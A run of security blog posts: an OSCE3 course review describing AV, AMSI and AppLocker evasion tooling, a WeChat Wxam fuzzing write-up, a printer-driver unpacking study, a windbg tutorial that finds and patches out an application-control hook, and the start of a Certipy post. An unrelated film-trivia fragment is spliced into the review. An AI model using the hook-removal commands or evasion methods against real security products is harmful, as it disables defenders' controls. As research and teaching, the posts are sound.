Each module can be characterized by the following path: A technique is discussed, broken down to its individual parts of how and, much more importantly, *WHY* it works, and then implemented. This breakdown is fantastic in all 17 of the modules in the course. At times, the breakdown of the Why is not as important as the How, especially given that, sometimes, a few sentences past a long-winded explanation of Why, we are told to use another tool that does it all for us silently. Even so, walking away with more fundamental knowledge is what allows us to grow as pentesters, and is not something to give away. In the end, each student will have to decide on their own if the Why is as important to them as the How. My advice? It is. Spend time understanding and digesting the Why and doing the extra miles in order to gain the most out of the course.

Certain modules delved into tremendous depth in niche cases that were not necessarily relevant, such as Linux breakouts, or were quick on things that may have benefited from more time on it, such as proxying and domain fronting. While the former could have been better served with a Citrix breakout instead of Linux, in the end it was a fascinating module, and I would not want it changed – perhaps expanded to include RDWeb and Citrix, but certainly not reduced. The domain fronting content is relatively short due to technical limitations and new security measures in the usual domain fronting services, so I understand why it was not so long. But even so, perhaps another, more intense lab would have helped drive home the concepts.

In terms of real-world value, there is no substitution for the OSEP course. Even during studying I was immediately able to put techniques learned into practice, including getting Domain Administrator privileges on two domains that were previously uncracked, using lateral movement techniques, and assisting a colleague with a CLM and AppLocker bypass. Combining the tools with the advanced AV evasion techniques meant that I had a fully homegrown tool that can bypass AV, AMSI, PowerShell CLM, and AppLocker – even on a fully patched and protected modern OS. The satisfaction of watching a command shell with no restriction pop up when a co-worker swears it cannot be done is not to be understated – it’s awesome.

This tool is shown below, which hijacks a thread of notepad and runs a reverse shell (not shown). I take no credit for any of the research – I merely ported some sections of C++ to C# and combined several techniques into one.

The was created to be nothing more than a showcase of various techniques, and is overkill for actual use. If used in the wild, I recommend the following: Don’t. If you must, then choose a single technique and work with that. The tool pictured above works to bypass everything, but is completely unnecessary and not good for any stealth or long-term AV bypass.

Of the course tracks, I’m torn between enjoying lateral movement or AV evasion more. In theory, lateral movement is fun, but limited in practice in the real world, where domains are so often hacked with Responder or Kerberoasting or other “single step to DA” techniques. In practice, AV evasion is a never-ending cat and mouse cycle that consistently allows us to up our game and create better tools. On the whole, I would probably say AV evasion helped up my tooling and coding game the most. See below for a real-world screenshot of me avoiding AV.

In Terminator 2, Robert Patrick improvises the moment when the T-1000 walks through the bars at the jail. The door was supposed to be open but the actor surprised the cast and

The course also has six challenge labs of varying difficulty in order to refine tools and techniques. They are genuinely fantastic and I wish there were more. The challenges each took a few hours to complete, even challenge one, where I went down so many rabbit holes that Alice would be ashamed of me. The general sense was that each challenge took about 4-6 hours, and if there was any point that I was stuck, I had the forums and discord to help me out. Once done, I used the extra time in the labs to refine my tooling, until I had a fully AV+CLM+AMSI+Applocker bypassing version of each shellcode runner (doc, exe, js, vbs, hta, etc), process injection, process hollowing, and other tools that were created in the course of the modules. This came in very handy in exam time when I didn’t need to worry about any protections in place, confident that what I had written would fly invisible and under the radar.

I will withhold my comments about the exam, only saying that it mimics the real world more than the labs, and sometimes the people who create networks make exactly the errors you would think they do.

As far as areas for development with the OSEP course, I would say the main one would be the reliability of labs. Sometime, techniques that worked perfectly a few minutes ago would fail and require a revert. Other times, services would not be available or accessible as necessary, requiring the labs to be reverted 5-6 times. Additionally, some techniques in the course overlook tools that are in every internal infrastructure hacker’s arsenal, in favor of out of date or obsolete versions.

All things considered though, PEN-300 was a fantastic course with immediate returns in my day-to-day pentesting, and I highly recommend it for a more in-depth understand of attack chains and tooling. Do yourself a favor and buy the course.

Offensive Security Exploit Developer (OSED/EXP-301)

The final course in the OSCE3 triad, Windows User Mode Exploit Development (referred to as EXP-301), is the replacement of the main attraction of OSCE. Where the old Cracking the Perimeter (CTP) course shone was in its exploitation and shellcoding portions. EXP-301 takes that and turns it up to 11. It just goes *hard*.

Back in the CTP days, mitigations like ASLR were covered in the course, but in a contrived minor way to show the possibility of a bypass, and DEP wasn’t covered at all. That is not the case anymore. Each of these topics is dealt with in absurd depth. Multiple times. In multiple ways. Once the inner workings of the protections are explained, it’s a very short time before the student is happily crafting leaks and ROP chains. But that’s not all.

but wait, there's more! - But wait There's more

There are two more areas where the course shines – reverse engineering and shellcoding. Let’s take them one by one. Reverse engineering is a complex topic – there are multiple ways to go about it, and the course choses to focus on static reversing with IDA coupled with dynamic with WinDbg. And it works. Complex programs are taken apart in a way that is easily digestible and understood by the student. Students have to go the extra mile with reverse engineering on multiple occasions, but all challenges are doable, if slightly difficult at times. The knowledge of how to work with those two imposing programs is a huge plus of the course, since it takes these two behemoths and demystifies them for common use. Taking apart programs is fun, and really makes me appreciate .NET and DNSpy for my usual day to day.

The shellcoding aspect of the course is likewise a well-done portion. The reverse shell that is created and optimized is perfectly usable in the real world. And the techniques are also easily portable to the real world, as I found to my glee when I needed some quick shellcode to drop in an engagement. Plus, understanding how and why things are done the way they are helps with changing MSF shellcode or others. Inline ASM in C is likewise turned into a cinch, once the knowledge is there.

The course also covers format strings, but since those attacks are more or less disappearing, I won’t spend too much time on them other than to say that using a format string to leak an address is lots of fun.

All of these things, reverse engineering and ALSR bypass and DEP bypass and stack overflows and SEH overflows and shellcode creation and format strings, are practiced on this one program that just has every vulnerability ever. But it does mean that the student has the ability to truly understand and even take it further to find their own vulnerabilities in the exe, so I am counting that as a plus.

The area of the course I enjoyed the most would likely be module 10, where we combined ASLR and DEP bypasses in a single exploit.

The joy of seeing a reverse shell pop after fully reverse engineering and crafting an exploit all by yourself on an extra mile cannot be overstated. I don’t think I have ever felt more like a hacker than when a ROP chain 80 gadgets long that I crafted using sublime text and no debugger, popped me a shell on the first try with no errors.

There are multiple ways to do everything, so an additional challenge to yourself is possible by shifting the bypass method from the one outlined in the course to one of your own choosing, and is a great way to practice.

There are three challenges in the course. They all touch on various aspects of the course, but do not really overlap much. I personally only did challenges one and two, not getting a full shell with challenge three before I passed the exam. However, challenges one and two were loads of fun. I do believe they are necessary, and I definitely think that all of the extra miles in this course are needed to be able to pass the exam.

I won’t say much about the exam, however I will say that it was a significantly difficult endeavor. Do not get discouraged by the goals, as there are many ways to do things. Also, my solutions were not the intended solutions and saved me a huge amount of effort, so there are different ways to do things.

However, there are some fairly glaring omissions from the course – x86 is not going to be the average user’s architecture, and creating exploits for it seems like a tee-ball league version of hacking versus true major league hacking. Also, so much of the course feels like a blueprint was given for the concepts, and then we are pushed into the deep end. The exam certainly felt like that, but it *is* the exam, so it’s understandable. In terms of real-world value, this is hard to say. The course is fantastic, but x86 is not really used any more – so for practical exploitation, use this course as a jumping point to x64. However, if your aim is to understand concepts and put them to use in other areas of the hacking world, this is a fantastic jump point into these kinds of topics. All in all, I would say the course is worth taking.

Conclusion

After having taken all three of the replacement courses, I came to the conclusion that upgrading the certificate was definitely a great idea. I learned a huge amount in each area and put it to use almost immediately in all cases. I would encourage even experienced testers to go ahead and grab the training.

I would say that for OffSec, there are effectively two things here, the training and the certificate. Even if you should choose not to take the exam, the course itself is extremely high value and you won’t walk away feeling like you are missing out. If it’s not an option to take all three courses, then choose the one most relevant to your day-to-day testing and get on it. They are all excellent, and worth the effort of Trying Harder.

Also, the challenge coin for OSCE3 is pretty sweet, so that’s a fun goal to go for. In the end, I feel like taking the courses made me a better pentester in all of the areas covered.

The post Offensive Security: From OSCE to OSCE3 appeared first on Nettitude Labs.

Fuzzing WeChat’s Wxam Parser

7 August 2022 at 19:30

Background

WeChat (if you haven’t heard of it) is a super popular chat app similar to the likes of WhatsApp, and runs on iOS, Android, Windows and MacOS.
Being a chat app, it handles various file formats like images and videos, and also propriety formats like “Wxam” (which honestly I haven’t researched before so you’ll see how I approached that).

You’ll also see below some of the challenges I had in my harnessing of the target and how my initial fuzzer framework I chose had to be replaced due to lack of support for certain functionality that WeChat used (and how I debugged this).

Researching the Target

Now that we know what WeChat is we can look at how I decided to write a fuzzer (in 1 day!) for this target!
It started by deciding I wanted to blog about fuzzing something, previously I’ve had blogs on Logic bugs and I wanted to balance that with some cool fuzzing target I haven’t looked at before, so I started by browsing ZDI to see if any displayed targets were interesting.

I noticed a few entries for WeChat like the below:

ZDI WeChat bug disclosures

Now at this point I know what WeChat is, but I have no idea what WXAM is (but its safe to guess its some format that gets parsed).

So my next step was to simply install WeChat in a VM! Note that here I’m targeting the Windows build of WeChat, for the following reasons:

  1. I want this to be quick, its primarily for this blog post and I know I can fuzz Windows targets faster than iOS/Android

  2. If this parser also exists on other platforms, it probably isn’t much different (potentially if I find the bug on Windows, it’ll exist on the other platforms)

Now its installed and I have a bunch of executables and DLL files in C:\Program Files (x86)\Tencent\WeChat, so how do I find the WXAM parsing functionality?

Finding the Target

A good starting point may be to dump all the imported & exported functions from all the executables and DLLs and search for anything with the name “wxam” in it, but I went a different route — I simply guessed and opened the DLL that sounded interesting in IDA!

For me, looking at the list of DLLs I spotted “WeChatWin.dll”, this sounds like a main DLL for WeChat that handles certain Windows specific APIs or something? Who knows, but it stood out more than some of the other DLLs, so I opened this in IDA.

This DLL took a while to load, its pretty large (~40mb), once done the first thing I did was search in functions, imports & exports for the name “wxam”, there I found:

wxam2pic imported function shown in WeChatWin.dll

We spot an imported function named “wxam2pic” that lives in “VoipEngine.dll” — nice! This is a great starting point, it even sounds like a parser.

Before I look at wxam2pic in VoipEngine, I first examine cross-references to this import within WeChatWin.dll and see how WeChatWin uses this, I spot two functions that call this, including this one:

Usage of wxam2pic in WeChatWin.dll

Scrolling to the top of this function we spot:

Don’t you love debug prints?
This string alone implies the function we’re looking at is a “WxAMDecoderHelper”, specifically this function handles the “DecodeWxam” functionality — Awesome! This is exactly the type of function that corresponds with the ZDI entries we saw.

There’s something else notable about this function, look at how IDA shows the prototype:

Its a custom calling convention!

This means if we were to target this function for fuzzing directly, we’d have to match this custom parameter passing convention instead of Visual Studio’s provided options (fastcall, cdecl, etc).

Instead, I took a look at the function that calls this function, and I got:

(Note: ignore the function name itself, I named it this from what I saw!)

Nice, this function uses a standard calling convention (fastcall), takes only two arguments and calls the DecodeWxam function (handling the custom calling convention for us!)

We also see from the debug print that this function appears to decode the Wxam and then re-encode it as a jpeg, this would be a great function to fuzz!

(Note: There’s another decoder that transforms the Wxam to a GIF! We’re not going to look at that one in this blog, but its essentially the same).

Reversing the Target Function

Alright so I want to fuzz this function as it appears to take a Wxam file and parse it, lets analyze the parameters.

Lets view cross-references to this function to see how its called:

(Note: I named the read_file function myself, if you open this function you see a simple CreateFile + ReadFile operation on the provided fName variable!)

From this, I see the following:

  • A filename is provided to the function I myself named “read_file” and a buffer is returned in v11

  • The buffer and a value is passed to “isWxGF”, this function reads a header and the flag to determine if we should parse it further or not

    • Actually, turns out the input structure is a format of a 32bit input buffer pointer followed by a 32bit size of input. So isWxGF takes (pBuffer, buf_sz)

  • If we pass the “isWxGF” check, we call the decoder function passing through:

    • The address of an input structure that contains (pBuffer, buf_sz), the pseudocode looks similar to

      • InputStruct inputStruct = (pBuffer, buf_sz)

      • Where the first input to the decoder function is a pointer to our inputStruct

    • A pointer to a int containing the value 0

      • This pointer seems to be some output from the decoder, if its non-zero its assumed to be another valid pointer

This seems super easy to fuzz:

  • We can fuzz using shared-memory mode in a fuzzer like WinAFL

  • Our fuzz function will:

    • Call isWxGF; and if successful:

    • Calls the decoder

So I wrote a harness to do this in WinAFL, however:

This usually means our program is crashing before reaching the our fuzz function.

So I run WinAFL under WinDBG and see an invalid address dereference when trying to load the “WeChatWin.dll” file!

I analyze the DLL entry point and spot:

I see, this DLL uses CRT (also thread-local storage) — this causes issues with DynamoRIO (which I was using with WinAFL).

This can be confirmed by compiling my executable with CRT support and noting that WinAFL crashes before our process main executes at all!

So this means we can’t use DynamoRIO, our options include:

  • Using WinAFL in IntelPT mode (I’m using an AMD CPU, so no go here)

  • Use a different fuzzer

Well I chose a different fuzzer.

I could have gone the snapshot route with Nyx or what-the-fuzz, instead I decided to try Jackalope

This has a very similar command line to WinAFL, and uses TinyInst for instrumentation (no DynamoRIO!)

Upon trying this, it worked:

Its fuzzing, and we are getting new coverage!

At this point I stopped, I got the fuzzer working well enough I was happy for the day, next steps would include:

  • Analyzing coverage, ensuring we’re not hitting any roadblocks

  • Check stability / determinism, ensure there’s no globals we need to reset

    • Or just throw this into a snapshot fuzzer

  • Reverse the WXAM format and create better corpus, and a format-aware mutator

Also note that in the isWxGF function, I noted the header bytes it checks for and ensured my initial corpus had that header (so we start with an input that successfully passes that check).

There are other things I did in the harness, which are general fuzzing things like obtaining the non-exported function pointers to our target functions we wanted to fuzz.

I’ve included the harness I used below, along with the Jackalope command line I used to kick off fuzzing, feel free to take this and expand on it or view coverage to see how far it gets!

Overall this was a fun half a day exercise at quickly writing a basic fuzzing harness based on some ZDI entry.

Update — Android Bugs!

So, turns out some of the bugs I found from this fuzzer were reproducible on Android:

@h0mbre_ @domenuk ezpz? pic.twitter.com/CiLoUxQtb5

— Christopher (@Kharosx0) August 8, 2022

Files

I put all the files on my Github: https://github.com/Kharos102/BasicWXAMFuzzer

Want to Learn Fuzzing?

We offer Vulnerability Research & Fuzzing trainings live or self-paced (For our self-paced trainings, see: https://signal-labs.thinkific.com/collections)

For any questions, feel free to contact us!

Reverse Engineering Windows Printer Drivers (Part 1)

Note: This is Part 1 in a series of posts discussing security analysis of printer drivers extracted and installed from public resources. This part explains how we located publicly available drivers distributed by WeWork and conducted initial analysis. Part 2 come shortly after and will cover our exploration with in-depth technical details about how Windows kernel drivers work and the techniques we used to discover bugs in these drivers.

Almost every large organization uses printers, and while the printer market is fairly distributed, it is still heavily dominated by only a few players. Printers need kernel mode drivers to work so that they can communicate through USB and other means, though this is not always the case as modern operating systems are pivoting to user-mode drivers to ensure safety. A vulnerability in a kernel mode printer driver could result in Local Privilege Escalation (LPE) if exploited successfully.

In this two-part series, we’ll discuss the steps we took to analyze these drivers. We’ll also discuss some helpful background information for beginning analysis of Windows kernel-mode drivers.

Step 1. Find Driver Documentation or Public Resources

Since most of the public uses a search engine to find drivers, we will emulate the way a WeWork user would find print drivers so that we can also discuss the implications of using unofficial sources to find installers. The first step we took was to search for documentation and driver downloads in the same way as a user. The drivers found will be used in our analysis. 

What printers does WeWork use?

A quick online search provides these links: 


According to the setup documents, WeWork uses HP, Kyocera and Konica printers. Though this instructional manual seems to be from a non-official source, an attempt to run these installers will be unsuccessful as they expect to be connected to a printer. A search through WeWork’s publicly available documentation shows that for Russian and Chinese WeWork spaces, only the WeWork_HP_installer.exe is documented. It seems that either the other printers are much rarer, or WeWork does not publish documentation publicly.

Step 2. Unpacking Resources

Unpacking Windows Resources

With a bit of web crawling for “WeWork_Installer_HP.exe”, the HP installer executable can be found at https://s3.amazonaws.com/it-assets/printing/wework_installer_HP.exe.

Since this executable contains no digital signature, its origin from WeWork cannot be verified. VirusTotal shows that it is not flagged by any antivirus engines, but they advise to continue on a virtual machine (VM).

The installer does not display a prompt to select where files are stored similar to most common software installers, but we used ProcMon to identify where files are placed on the local machine. Typically, you would first check C:\Program Files or C:\Program Files (x86) for changes. In this analysis, a folder named WeWork_printer_drivers was found in C:\Program Files (x86), which contained two executable files: HP_UPD.exe and win_39754.exe. The files have the following icons displayed in Windows Explorer:

These executables are self-extracting 7-Zip executables and can be opened with the 7-Zip application.

Opening win_39754.exe shows some references to a printer client software known as Papercut, but this does not contain any driver.

Opening HP_UPD.exe (which presumably stands for HP Universal Printer Driver), points to a file directory that contains .inf files for these printers and their properties. See the following documentation for more information on .inf files:

https://docs.microsoft.com/en-us/windows-hardware/drivers/install/overview-of-inf-files


Exploring the files further, there are directories with the name drivers, with each directory containing a subdirectory named either WINXP, WIN2000, AMD64. These directories contain drivers. Out of the directory names, AMD64 is the one most modern architecture for modern day windows operating systems.

Extracting the drivers in this folder, there are 5 drivers:

  • HPZid412.sys
  • HPZisc12.sys
  • HPZipr12.sys
  • HPZius12.sys
  • HPZs2k12.sys

These files all have additional information about them in their properties. Their properties can be viewed by right-clicking on them and selecting Properties->Details, where their descriptions and their original file names are shown.

They seem to be used for implementing the DOT4 (IEEE 1284.4) multiplexing data channel protocol over USB. In fact, the original filenames are references to Microsoft default DOT4 protocol drivers, and the strings of the original Dot4 Microsoft drivers are extremely similar to the HP drivers, almost exact. For more confirmation, BinDiff could be used to check the similarity of the two binaries. 

Unpacking MacOS resources

After an attempt to find the package described in the public facing documents, we settled with the file in the MacOSPrinterSetup instructions, which provides a DMG file.

Opening the DMG file in 7-Zip presents the following directory structure:

Immediately, the most interesting place to find drivers would be the .pkg file that contains the packages which contain binaries. Opening in 7-Zip provides folders:

From the above list of files, the most relevant to kernel drivers would be a KEXT (Kernel Extension), and it seems there is only one relevant package with kext in its name: com.hp.print.ps.kext.pkg. Opening it in 7-Zip results in the files below:

The directory contains these files, the most important of which is the Payload file which contains the actual binaries. We can open this file in 7-Zip and it contains numerous empty path folders which just hold other folders. KEXTs are folders that contain plists (files that describe the KEXT) and the MACH-O binaries. The path to the KEXT in the Payload file is shown below:

Payload\System\Library\Extensions\hp_io_printerclassdriver_enabler.kext\Contents

This is the path inside the payload to the KEXT contents folder. It provides the directory structure below:

CodeSignature is a directory of signatures for verifying the file. The Info.plist file describes the properties of the KEXT and Version.plist contains version numbers, but where is the binary?

As it turns out, this KEXT is a Codeless Kernel Extension, which can be verified by looking in the Info.plist file containing properties in an XML format. Specifically, KEXTs with binaries contain the CFBundleExecutable property. Inspecting the Info.plist of this KEXT, we find no CFBundleExecutable property.

The purpose of this KEXT is to point the operating system to the subsystems which this hardware device (the printer) uses, and direct it to the NON-KERNEL driver responsible for handling the hardware (IOKit). The XML keys responsible for telling us which pkg is responsible for handling this printer is the USB Printing Class

<key>IOProviderClass</key>
    <string>IOUSBInterface</string>
<key>IOProviderMergeProperties</key>
    <dict>
        <key>ClassicMustNotSeize</key>
            <true/>
        <key>USB Printing Class</key>
            <string>/Library/Printers/hp/Frameworks/HPDeviceModel.framework/Runtime/HPIOPrinterClassDriver.plugin</string>

In the string above, we see a path to a user mode plugin. A word in this path provides a clue into which package contains this plugin. HPDeviceModel, the process used to inspect this plugin, can also be used for the IOKit user mode driver (com.hp.DeviceModel4.pkg / HPIOPrinterClassDriver.plugin). 

Note: Unpacking these macOS driver packages confirms that these drivers are user-mode drivers and not kernel-mode drivers. We did not pursue further analysis on the macOS drivers as the value from attacking them is far less than kernel-mode drivers.

Step 3. Confirmation 

Note: For this step, we will use Windows as it is the only one with Kernel Drivers.

With our research, we now know that the HP drivers are the Dot4 default drivers. This theory can be tested by connecting a printer that supports Dot4 to your computer via USB,and then using a tool like WinObjEx64, which can inspect loaded drivers. 

Browsing the loaded drivers shows:

From the image above, you can confirm that three drivers are loaded: dot4, Dot4Print and dot4usb. The loaded drivers indicate that the operating system is ready to interact with the printer. Despite the fact that there were 5 drivers, it seems (from analysis) that only three drivers are loaded on modern systems. The three files unpacked are: 

  • dot4.sys -> HPZid412.sys
  • dot4prt.sys -> HPZipr12.sys
  • dot4usb.sys -> HPZius12.sys

The binaries for these default dot4 drivers can be found at C:\Windows\System32\Drivers once they have been loaded for the first time.

Devices listed on the system are show in the image below:

While drivers show that the operating system is ready to interact with the printer, it is ultimately up to a user-mode application to initiate a printing sequence. The application can initiate a printing sequence if the drivers present an interactable device to the user-mode application. In the image above, a dot4 device that allows for interaction between user-mode and the driver exists on the system.

Step 4. Architecture and Research

The Windows operating system is massive. It hosts a variety of subsystems, so we focused our research on Windows during analysis. For this research, the goal was to study the different types of drivers and how they affect security. 

Types of Windows Drivers

It’s important to understand that there are several types of Windows drivers and frameworks: 

WDM – The first type of drivers that were created were WDM (Windows Driver Models). This driver is a raw driver and manages resources and devices. When it came to device drivers this seemed to be almost an impossible task due to the endless amount of state that had to be managed, this issue is discussed in depth in old Microsoft archives that can be found here.

https://channel9.msdn.com/Shows/Going+Deep/Doron-Holan-Kernel-Mode-Driver-Framework?term=kernel&lang-en=true

KMDF – The Kernel Mode Driver Framework (KMDF) was invented to relieve some of the difficulties developing device drivers, giving developers APIs that would handle edge cases. It implements state machines for PnP, I/O, and others.

UMDF – The User Mode Driver Framework (UMDF) is the user-mode equivalent of KMDF.

WDF – The Windows Driver Framework (WDF) is a term that encompasses KMDF and UMDF.

Conclusion

For this first post in our WeWork printer analysis series, we found resources online and unpacked them. The analysis covered in this post is the initial step in identifying WeWork printer drivers so that we can research further into their security. In the next post, we will look into reverse engineering and attempting to discover exploitable bugs in these drivers. 

The post Reverse Engineering Windows Printer Drivers (Part 1) appeared first on Include Security Research Blog.

Finding hooks with windbg

5 August 2022 at 15:06

In this blogpost we are going to look into hooks, how to find them, and how to restore the original functions.

I’ve developed the methods discussed here by myself and they have been proven to be useful for me. I was assigned to evaluate the security and the inner working of a specific application control solution. I needed a practical and easy solution, without too much coding preferably using windbg. For that I wanted to be able to:

  1. Detect the DLL which performs hooking
  2. Detect all the hooks that it sets up
  3. Restore all the previous instructions (before the hook)

What are hooks?

As hooks is the thing we are looking for let’s briefly talk about what hooks actually are and how they look like.

Specifically we will cover MS Detours.

Basically hooking allows you to execute your own code when the target function is called. It was originally developed to extend the functionality of the functions of closed software. When your code is called by the hooked function it’s up to you what to you want to do next. You can for example inspect the arguments and based on that resume the execution of the original target function if you wish.

To better illustrate how a hook looks like, I’m going to use the picture from the “Detours: Binary Interception of Win32 Functions” document.

MS Detours hook
MS Detours hook

The picture above shows trampoline and target functions, before and after insertion of the detour (left and right).

Of course in order for this to be useful the trampoline function would normally end up calling your custom code, before resuming the target function. For us one important thing to notice is the jump instruction at the beginning of the target function. If it’s there this is a good indicator that a function is hooked.

As we can see, a jump instruction is used to hook a target function and replace the first 4 instructions of the original target function. This results in the target function jumping to a trampoline function and the trampoline function executing the original 4 instructions that were replaced. Then, a jump instruction is used again in the trampoline function to resume the execution of the target function after the jump instruction (TargetFunction+5).

If you’re interested in the official documentation you can find it here and here.

The setup

To better demonstrate the concept, I’ve created a few simple programs.

  • begin.exe – Calls CreateProcess API to start myapp.exe.
  • myapp.exe – Simple program that shows a message box.
  • AChook.dll – Application Control hooking DLL. Simple DLL that forbids any execution of CreateProcessA and CreateProcessW APIs.

First, let’s show these programs in action. Let’s run begin.exe:

begin.exe starts and shows a dialogue that halts execution.
begin.exe starts and shows a dialogue that halts execution.

It shows a message box asking to inject a DLL. This halts execution until the “OK” button is clicked and allows us to take our time injecting a DLL if we want to.

myapp.exe is started by begin.exe.
myapp.exe is started by begin.exe.

Then it launches myapp.exe, which just shows another message box asking if you want to launch a virus. Of course myapp.exe is not a virus and just exits after showing the message box (no matter if the user clicks on “Yes” or “No”).

Now let’s run begin.exe again but this time let’s inject the AChook.dll into it while the message box is shown.

begin.exe waiting for user interaction.
begin.exe waiting for user interaction.

We use “Process Hacker” to inject AChook.dll.

Using Process hacker to inject our DLL into begin.exe.
Using Process hacker to inject our DLL into begin.exe.

AChook.dll also prints some additional messages to the console output:

AChook.dll is injected into begin.exe.
AChook.dll is injected into begin.exe.

When we click now on the OK button, myapp.exe does not run anymore and thus the virus message box is no longer shown. Instead additional messages are printed to the console by AChook.dll.

AChook.dll's hook prevented execution of myapp.exe.
AChook.dll‘s hook prevented execution of myapp.exe.

IDENTIFYING THE HOOKING DLL

First we need to identify which DLL is the one that sets the hooks.

To list the loaded DLLs of a running process we use “Process Explorer”.

We select the process begin.exe and press [Ctrl]+[D]:

DLLs loaded by begin.exe in Process Explorer.
DLLs loaded by begin.exe in Process Explorer.

Now we can look for any DLL that looks suspicious. In this case it’s easy because the DLL has the phrase “hook” in its name, which is something that certainly stands out!

A different way to identify the hooking DLL is to compare the list of loaded DLLs with and without the security solution active. To simulate this we run begin.exe twice – once with and once without the AChook.dll. To list the DLLs as a text we can use “listdlls”:

Output of listdlls against the begin.exe process.
Output of listdlls against the begin.exe process.

First we need to identify which DLL was injected into a process. We start by running listdlls against the just started begin.exe process and saving the output:

listdlls begin.exe > before

Then we inject AChook.dll using Process Hacker and save listdlls’s output again:

listdlls begin.exe > after

Next, we compare those two output files using “gvim” (of course any other text editor can be used).

Using gvim to compare both outputs.
Using gvim to compare both outputs.

As we can see below, a new DLL AChook.dll was added:

Diff of both lists of loaded DLLs in the begin.exe process.
Diff of both lists of loaded DLLs in the begin.exe process.

Alright. So far we determined that a DLL was injected to the process. At this point we could search the DLL on disk to see to if it belongs to your target security solution. In our case we created it ourselves though, so we’re not going to do that.

The DLL is suspicious because its name contains the phrase “hook”. However we want to gain more confidence that it really hooks anything.

When you are examining a security solution it’s always a good idea to read its documentation. The product that I was analysing had specifically mentioned that it uses MS Detours hooks to function. However, it did not mention anything regarding the application control implemented in kernel space and also did not mention which DLL it used for hooking.

Unfortunately there is no single (special) Windows API that would do the hooking. Instead it uses multiple APIs to do its job. I wanted to find a rare API or a sequence of APIs that I could use as some sort of signature. I found one API that is quite special and rarely used (unless you want to do hooking): “FlushInstructionCache”.

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-flushinstructioncache

As the documentation says:

“Applications should call FlushInstructionCache if they generate or modify code in memory. The CPU cannot detect the change, and may execute the old code it cached.”

So if the MS Detours code wants its new jump instruction to be executed it needs to call FlushInstructionCache API. In summary what MS Detours needs to do when installing the hook is to:

  • Allocate memory for the trampoline function;
  • Change the access of the code of the target function to make it writable;
  • Copy the instructions from the beginning of the target function (the ones that it’s going to replace) to previously allocated space; and make changes there so that the trampoline function ends up executing your code;
  • Replace the beginning of the target function with a jump instruction to trampoline function;
  • Change the access of the code of the target function back to the original access;
  • Flush the instruction cache.

You can find the FlushInstructionCache function in the imports of AChook.dll as can be seen in IDA:

IDA displaying the PE imports of begin.exe.
IDA displaying the PE imports of begin.exe.

Or you can use “dumpbin” to do the same:

Finding the FlushInstructionCache PE import in begin.exe using dumpbin.
Finding the FlushInstructionCache PE import in begin.exe using dumpbin.

At this point we have a very suspicious DLL and we want to determine which APIs it hooks and also restore them.

IDENTIFYING HOOKS AND RESTORING THEM

Since I was experimenting with dynamic binary instrumentation tools before, I knew that it is also possible to detect hooks by using Intel’s Pintools. It requires you to write a small program however. I won’t go into detail here, maybe this is a topic for another blogpost.

But in short Pintools enables you to split the code into blocks, something very similar to what IDA does. It also enables you to determine to which binary or DLL this code block belongs to.

Remember that MS detours installed a jmp instruction at the beginning of the target API which jumped to a newly allocated memory region. So if you see at the beginning of the API that a code block is executed that does not belong to the API’s DLL then this API is hooked. The drawback of this solution is that the hooked API needs to run in order to be detected. It also does not allow you to retrieve the original bytes of the hooked API for restoration.

More information about Pintools can be found here.

Let’s discuss something much simpler and more effective instead. Remember that MS Detours first changes the memory to be writable and then changes it back, let’s use that to our advantage.

We will use windbg for this. What we need to do is to:

  1. Start begin.exe
  2. Attach windbg to the begin.exe process.
  3. Set a breakpoint on loading of AChook.dll (sxe ld AChook.dll)
  4. Continue execution of begin.exe process (g)
  5. Inject AChook.dll into begin.exe process (Process Hacker)
  6. The breakpoint will hit.
  7. Set new breakpoint on VirtualProtect with a custom command to print first 5 instructions and continue execution. (bp KERNELBASE!VirtualProtect “u rcx L5;g” )
  8. Set output log file and continue execution (.logopen C:\BLOGPOST\OUTPUT.log ; g)
  9. The debugger will start hitting and continuing the breakpoints. After the output stops moving click the pause button on the debugger.
  10. Don’t click on the ok button of the message box. Close the log file. Collect and inspect the data in the log file. Remove a few – if any – false positives (.logclose).

The whole process might look like this:

Debugging the begin.exe process in windbg.
Debugging the begin.exe process in windbg.

The output above shows that when the breakpoint of the CreateProcessWStub and CreateProcessAStub are hit for the first time, they are not hooked yet: they don’t contain the jmp instruction at the beginning yet. However, the second time they are hit we can see a jmp instruction at the beginning, thus we can cunclude that they are hooked.

From this output we know that  CreateProcessW and  CreateProcessA were hooked. It also gives us the original bytes so we could restore the original functions if we wanted to.

RESTORING ORIGINAL FUNCTIONS:

Using the above output of windbg, we can restore the original functions with the following windbg commands:

eb KERNEL32!CreateProcessWStub 4c 8b dc 48 83 ec 58
eb KERNEL32!CreateProcessAStub 4c 8b dc 48 83 ec 58

The steps are easier this time:

  1. Run begin.exe
  2. Inject AChook.dll into it (using Process Hacker)
  3. Attach windbg to the begin.exe process
  4. Run the commands mentioned above and continue execution (eb … ; g)
  5. Click on the “OK” button of the message box to launch myapp.exe

And – voilà! – here is the result:

myapp.exe executed by begin.exe after restoring hooked functions.
myapp.exe executed by begin.exe after restoring hooked functions.

CONCLUSION

In this blogpost we have discussed what hooks are, how to identify a DLL that does the hooking, how to identify the hooks that it sets and also how to restore the original functions once the hooking DLL was loaded. Of course a proper security solution uses controls in kernel space to do application control, so it’s not possible for the application to just restore the original functions. Although there could be implementation mistakes in that as well, but that is a story for another time.

I hope you enjoyed.

About the author

Oliver, is a cyber security expert at NVISO. He has almost a decade and a half of IT experience of which half of it is in cyber security. Throughout his career he has obtained many useful skills and also certificates. He’s constantly exploring and looking for more knowledge. You can find Oliver on LinkedIn.

Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!

4 August 2022 at 18:23

Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more!

A new version of Certipy has been released along with a forked BloodHound GUI that has PKI support! In this blog post, we will look at some of the major new features of Certipy, which includes LDAPS (Schannel) and SSPI authentication, new request options and methods, and of course support for the forked BloodHound GUI that I changed to have new nodes, edges, and prebuilt queries for AD CS. At the end of the blog post, we will also look at the two new privilege escalation techniques for AD CS: ESC9 and ESC10.

BloodHound x Certipy

